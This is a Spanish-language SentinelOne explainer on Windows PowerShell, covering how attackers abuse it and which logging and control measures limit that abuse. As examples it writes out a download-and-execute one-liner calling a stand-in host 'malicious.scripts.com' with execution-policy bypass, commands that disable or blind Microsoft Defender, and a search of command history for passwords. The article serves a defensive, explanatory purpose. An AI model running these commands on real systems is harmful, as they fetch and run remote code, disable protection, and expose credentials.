Skip to main content
Ciberseguridad

¿Qué es Windows PowerShell?

Windows PowerShell es una potente herramienta de automatización. Conozca sus implicaciones de seguridad y cómo usarla de forma segura en su entorno.

Por SentinelOne
¿Qué es Windows PowerShell?

Windows PowerShell es un potente lenguaje de scripting y un intérprete de línea de comandos para automatizar tareas y gestionar configuraciones. Esta guía explora las funciones y capacidades de PowerShell, incluido su papel en la administración de sistemas y la seguridad.

Conozca los comandos habituales de PowerShell, las mejores prácticas de scripting y cómo usar PowerShell para la ciberseguridad. Comprender PowerShell es esencial para los profesionales de IT y la seguridad.

Windows PowerShell - Featured Image | SentinelOne

¿Cómo puede afectar PowerShell a los activos valiosos de su empresa? Conozca los fundamentos de PowerShell, por qué atrae a los hackers y cómo proteger su empresa

Microsoft PowerShell es un intérprete de línea de comandos y un lenguaje de scripting que se utiliza para automatizar tareas y gestionar sistemas basados en Windows. Los administradores y profesionales de seguridad suelen usarlo para automatizar tareas rutinarias, gestionar y supervisar sistemas y automatizar respuestas a incidentes de seguridad. Los atacantes suelen usar PowerShell para obtener acceso no autorizado a los sistemas y ejecutar código malicioso.

Microsoft PowerShell está disponible en Windows desde 2006, pero ahora es el intérprete de comandos del Explorador de archivos en Windows 10 y ha sustituido en gran medida a la antigua herramienta cmd.exe. Aunque muchos usuarios lo consideran difícil de entender, PowerShell se ha vuelto esencial para los equipos de IT y los administradores de redes por su flexibilidad y potencia. En esta guía introductoria, explicaremos los fundamentos de PowerShell, por qué atrae a los hackers y a los creadores de malware, y qué puede hacer para proteger su organización.

Elija su versión

Si escribe ‘PowerShell’ en el campo de búsqueda de Cortana, verá dos opciones: PowerShell ISE y la aplicación de escritorio PowerShell. Además, si hace clic con el botón derecho en el menú Inicio o en el icono de cualquiera de las dos versiones de PowerShell en la barra de tareas, verá dos formas de iniciarlas: como usuario actual o como administrador.

A screenshot image of Window

Los administradores que quieran automatizar tareas habituales probablemente usarán la interfaz ISE para desarrollar módulos y scripts de PowerShell. Para el uso interactivo, la mayoría elegirá la aplicación de escritorio PowerShell y la ejecutará como administrador o como usuario actual, según la tarea.

Quizá también haya oído hablar de PowerShell Core, una edición multiplataforma y de código abierto que se ejecuta no solo en Windows, sino también en Linux y macOS:

A screenshot image of Macintosh HD scripts

Tenga cuidado: se instala como un archivo binario sin firmar y un impostor malicioso podría sustituirlo fácilmente. Si tiene endpoints que usan PowerShell Core, asegúrese de que su organización lo firme con un certificado adecuado o realice comprobaciones periódicas con shasum para verificar que no se haya manipulado.

Aunque las capacidades de las distintas versiones de PowerShell presentan algunas diferencias, todas pueden ejecutar sesiones remotas mediante SSH e interactuar con una amplia variedad de procesos y servicios. PowerShell puede incluso interactuar con el registro y el registro de eventos de Windows. Esto significa que un adversario con acceso a PowerShell dispone del mismo acceso y las mismas ventajas.

Aproveche su potencia

Puede hacerse una idea de las capacidades de PowerShell con dos comandos sencillos:

Get-Module -ListAvailable

para enumerar los módulos disponibles, y

Get-Command

para enumerar los comandos disponibles:

Window

Veamos algunos ejemplos. Supongamos que usted, o un adversario, está explorando un directorio de documentos y quiere encontrar rápidamente algo de interés. Un comando como el siguiente mostrará las dos primeras y las dos últimas líneas de cada archivo de texto del directorio. Recorrerá los subdirectorios, incluirá los archivos ocultos o invisibles y enviará el resultado a otro archivo de texto para revisarlo o recuperarlo más adelante:

Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log

Si alguien buscara documentos que comenzaran por “Confidencial” o terminaran con el cargo del autor, como “Director Financiero”, esta sería una forma rápida, aunque poco refinada, de localizar elementos de interés.

Para eliminar un elemento, quizá con el fin de borrar cualquier rastro de una intrusión, basta con usar

Remove-Item <path>

PowerShell también permite a los usuarios manipular el sistema operativo de formas interesantes y, por desgracia, peligrosas. Si un creador de malware quiere eludir el motor antivirus preinstalado de Microsoft Defender, puede ejecutar un comando de PowerShell con los privilegios adecuados para desactivarlo:

Set-MpPreference -DisableRealTimeMonitoring $true

o, de forma algo más discreta, excluir una unidad o ruta de las búsquedas:

Add-MpPreference -ExclusionPath “c:”

PowerShell también facilita a los atacantes tareas como enumerar las unidades de red y consultar el registro de eventos, una forma útil de encontrar información explotable, con Get-PSDrive y Get-EventLog, respectivamente.

A screenshot image of Window

Tanto para los usuarios como para los atacantes, resulta útil poder consultar el historial de comandos introducidos de forma interactiva en la línea de comandos, incluidos los argumentos que se les pasaron. El historial se almacena en la ruta que muestra este comando:

(Get-PSReadLineOption).HistorySavePath

y podemos usar cat y el cmdlet Select-String (o su alias sls) para buscar eficazmente elementos de interés entre los comandos (por ejemplo, contraseñas!):

A screenshot of Tweet that Nikhil Mittal

Scripts y kits de explotación

Sin embargo, las mejores oportunidades para los actores maliciosos no están en usar PowerShell desde la línea de comandos. Más peligrosa es la capacidad de PowerShell para ejecutar scripts tanto en memoria (es decir, ataques de malware “sin archivos”) como desde el disco. En ambos casos, pueden ejecutarse directamente en un equipo o de forma remota.

Al igual que el comando eval del shell de Unix, PowerShell dispone de Invoke-Expression (y su alias iex), que permite descargar y ejecutar un script malicioso en memoria. Podemos añadir Bypass para intentar eludir una política de ejecución restringida:

powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"

Como era de esperar, no tardaron en aparecer frameworks de explotación completos que aprovechan todo el potencial de PowerShell.

Entre ellos destaca PowerSploit, una colección de scripts de PowerShell que sirven para manipular y controlar el equipo de una víctima.

A screenshot image of AntivirusBypass scripts

PowerShell Empire se basa en el trabajo de PowerSploit y otros proyectos para crear una herramienta de posexplotación capaz de evadir la detección en la red, ejecutar registradores de pulsaciones de teclas y utilizar otros módulos como Mimikatz para extraer directamente de la memoria contraseñas en texto plano, hashes de contraseñas y otros datos.

Screenshot image of PowerShell post-exploitation Empire

El auge de los ataques con PowerShell

La creación de scripts y comandos de PowerShell que pueden ejecutarse desde otros tipos de archivos de Windows, como .exe, .bat, .wsf y .LNK, es una de las razones por las que el malware basado en PowerShell ha aumentado en los últimos años. Según una estimación que atribuye a los exploits de PowerShell casi el 40 % de los incidentes de malware, no cabe duda de que los atacantes lo utilizan en campañas muy diversas, desde el ransomware hasta el robo de credenciales y los troyanos bancarios. PowerShell también se ha utilizado para el fraude de clics, la captura de contraseñas y la exfiltración de datos.

DNSMessenger es un malware que se detectó propagándose mediante una macro de un documento de Word. Utiliza ingeniosamente código fuente VBA para enviar comandos de PowerShell codificados, mantener la persistencia, distribuir su carga maliciosa y comunicarse con un servidor C&C.

Sorprendentemente, algunos ataques con PowerShell ni siquiera requieren el PowerShell.exe integrado. Herramientas como PowerShdll e InsecurePowerShell pueden ejecutar scripts directamente mediante System.Management.Automation.dll, la biblioteca en la que se basa el binario de PowerShell. En pocas palabras, el ejecutable de PowerShell es solo un host o envoltorio del código real que reside en la biblioteca de vínculos dinámicos. Los ataques pueden aprovechar esto para hacer que prácticamente cualquier proceso ejecute scripts y comandos de PowerShell.

Otros usos creativos de PowerShell incluyen insertar un script de PowerShell en los píxeles de un archivo PNG y generar un comando de una sola línea para ejecutarlo con Invoke-PSImage, o convertir scripts de PowerShell en archivos EXE con herramientas como PS2EXE.

Gestión de PowerShell

Después de todo esto, probablemente quede claro que bloquear PowerShell.exe sería inútil, además de suponer una gran carga para los administradores de sistemas que dependen de sus capacidades. Es importante entender que PowerShell y las DLL en las que se basa son partes esenciales del sistema operativo Windows. Con la llegada de PowerShell Core, sus capacidades también ofrecen oportunidades para la administración multiplataforma que las empresas pueden considerar esenciales.

Una solución empresarial eficaz para gestionar la doble naturaleza de PowerShell es SentinelOne, que analiza el comportamiento de los procesos que se ejecutan en el endpoint. Este enfoque funciona porque los procesos se comportan de forma similar independientemente de cómo se implementen los ataques de malware. El agente de SentinelOne supervisa todas las actividades del endpoint para distinguir las maliciosas de las legítimas. Como el agente ya dispone de todo el contexto: usuarios, procesos, argumentos de la línea de comandos, registro, archivos en el disco, y comunicaciones externas, puede contener la actividad maliciosa independientemente de su origen.


¿Le gustó este artículo? Síganos en LinkedIn, Twitter, YouTube o Facebook para ver el contenido que publicamos.

Más información sobre la seguridad de Windows

Callout Background Image Gradient

Ciberseguridad basada en IA

Mejore su postura de seguridad con detección en tiempo real, respuesta a velocidad de máquina y visibilidad total de todo su entorno digital.

Preguntas frecuentes sobre Windows PowerShell

Windows PowerShell es un intérprete de comandos y lenguaje de scripting de Microsoft basado en .NET Framework. Permite usar cmdlets, comandos sencillos con formato verbo-sustantivo, para automatizar tareas como la gestión del sistema de archivos, el registro y los servicios.

PowerShell procesa y devuelve objetos en lugar de texto sin formato, por lo que puede pasar datos estructurados de un cmdlet a otro. También admite la administración remota, los módulos y la ayuda integrada en la consola para gestionar sistemas.

A diferencia del antiguo CMD, PowerShell usa cmdlets con formato verbo-sustantivo y trabaja con objetos .NET en lugar de flujos de texto. Así puede encadenar comandos mediante canalizaciones sin analizar texto. Los scripts de PowerShell pueden llamar directamente a las API de .NET, ofrecen una gestión de errores más completa y admiten módulos.

Los intérpretes de comandos tradicionales solo procesan texto sin formato y scripts por lotes básicos, mientras que PowerShell ofrece un entorno de scripting completo para la automatización y la configuración.

La profunda integración de PowerShell con el sistema y su capacidad de scripting lo hacen atractivo tanto para administradores como para atacantes. Los actores de amenazas emplean técnicas sin archivos, ejecutando scripts en memoria, para evadir la detección.

PowerShell puede desactivar defensas, descargar código malicioso o robar credenciales sin escribir en el disco. Su uso generalizado en Windows exige que los equipos de seguridad consideren su actividad de alto riesgo y la supervisen de cerca para detectar usos indebidos.

Según un estudio de Cisco, PowerShell estuvo implicado en más de un tercio de las amenazas de seguridad críticas en endpoints. Carbon Black detectó un uso indebido de PowerShell en el 38 % de los incidentes, a menudo en acciones posteriores a la explotación, como el movimiento lateral o el robo de credenciales.

Aunque su uso normal es bajo, PowerShell aparece en aproximadamente uno de cada catorce casos confirmados de actividad maliciosa.

Active todos los registros de PowerShell: registros de módulos, de bloques de scripts y de transcripción. Establezca un tamaño de registro de al menos 150 MB y recopile eventos de

Microsoft-Windows-PowerShell/Operational y PowerShellCore/Operational. Envíe los registros a SIEM o XDR. Bloquee los scripts iniciados por procesos principales no confiables y restrinja la política de ejecución a scripts firmados. Active Protected Event Logging para obtener más detalles.

Use Just Enough Administration (JEA) para limitar el acceso de los usuarios a los cmdlets aprobados. Aplique el modo de lenguaje restringido para desactivar COM, WMI y las expresiones complejas. Implemente políticas de Application Control (p. ej., WDAC) para incluir los scripts firmados en una lista de permitidos.

Mantenga PowerShell actualizado a la versión v5.1 o posterior. Revise y ajuste periódicamente la configuración de los registros para garantizar que quede registrada cada ejecución de scripts.

Bloquear PowerShell por completo puede afectar la gestión de sistemas y la administración remota. Microsoft desaconseja eliminarlo por completo. En su lugar, limite su ejecución a administradores autorizados, aplique controles de aplicaciones e impida que procesos principales no confiables, como las aplicaciones de Office, inicien PowerShell.

Junto con el registro y la supervisión, estos controles detienen la mayoría de los usos maliciosos sin obstaculizar las operaciones legítimas.

PowerShell permite a los equipos de seguridad automatizar la respuesta a incidentes, recopilar rápidamente datos forenses y buscar amenazas. Puede escribir scripts para reunir artefactos del registro, listas de procesos y conexiones de red en minutos. Aprender PowerShell también facilita la comprensión de las técnicas de los atacantes, ya que muchas herramientas posteriores a la explotación (Empire, Cobalt Strike) lo utilizan internamente.

Los scripts de PowerShell pueden recopilar datos de la memoria activa, claves de ejecución del registro, registros de eventos y datos de red para el análisis inicial. Herramientas de la comunidad como DFIR-Script automatizan la recopilación de pruebas en los endpoints. Los analistas de amenazas usan PowerShell para consultar el Windows Event ID 4104 en busca de bloques de scripts maliciosos, analizar los resultados e incorporarlos a los playbooks de SOAR. Así, PowerShell se convierte en una parte esencial de los flujos de trabajo de detección, contención y remediación.

Descubra más sobre Ciberseguridad

Decorative background gradient

Experimente la plataforma de ciberseguridad más avanzada

Vea cómo la plataforma de ciberseguridad autónoma e inteligente líder del mundo puede proteger a su organización hoy y en el futuro.
Dark dashboard UI with purple-highlighted nav, summary cards showing 149, 7, 78, 56, 1.2 h, and a status table with linked purple text